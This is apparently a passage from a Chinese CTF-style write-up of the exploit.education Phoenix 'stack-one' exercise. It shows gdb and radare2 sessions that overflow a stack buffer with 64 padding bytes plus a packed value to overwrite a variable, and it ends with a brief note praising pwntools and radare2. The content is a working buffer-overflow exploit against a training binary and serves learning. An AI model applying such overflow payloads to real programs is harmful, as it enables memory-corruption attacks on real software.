Starting program: /opt/phoenix/amd64/stack-one AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
[Inferior 1 (process 9363) exited normally]

radare2

1
2
3
4
5
6
7
8
9
10
11
user@phoenix-amd64:~$ r2 /opt/phoenix/amd64/stack-one 
[0x00400500]> ood `!python -c "import pwn;print 'A'*64+pwn.p32(0x496c5962)"`
Process with PID 9383 started...
File dbg:///opt/phoenix/amd64/stack-one AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbYlI reopened in read-only mode
= attach 9383 9383
Assuming filepath /opt/phoenix/amd64/stack-one
[0x7ffff7dc5d34]> dc
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
PTRACE_EVENT_EXIT pid=9383, status=0x0
= attach 9383 1

总结

python的pwntools好用的很,相比gdb,radare2的用法好像更灵活。以后尽可能用两种工具都实操一下。